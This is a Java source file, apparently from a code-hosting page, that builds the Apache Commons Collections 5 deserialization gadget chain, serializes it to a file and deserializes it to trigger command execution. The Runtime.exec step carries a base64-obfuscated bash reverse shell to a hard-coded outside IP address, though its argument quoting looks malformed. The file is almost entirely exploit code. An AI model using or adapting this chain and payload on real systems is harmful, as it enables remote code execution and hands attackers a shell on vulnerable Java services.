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Copy pathCC5EXP.java
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49 lines (45 loc) · 2.43 KB
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package CC5EXP;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
// 结合入口类的完整 EXP 编写
public class CC5EXP {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84MS42OC4xMjAuMTQvMjMzNCAwPiYx}|{base64,-d}|{bash,-i}\"}"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = Class.forName("javax.management.BadAttributeValueExpException");
Field field = c.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}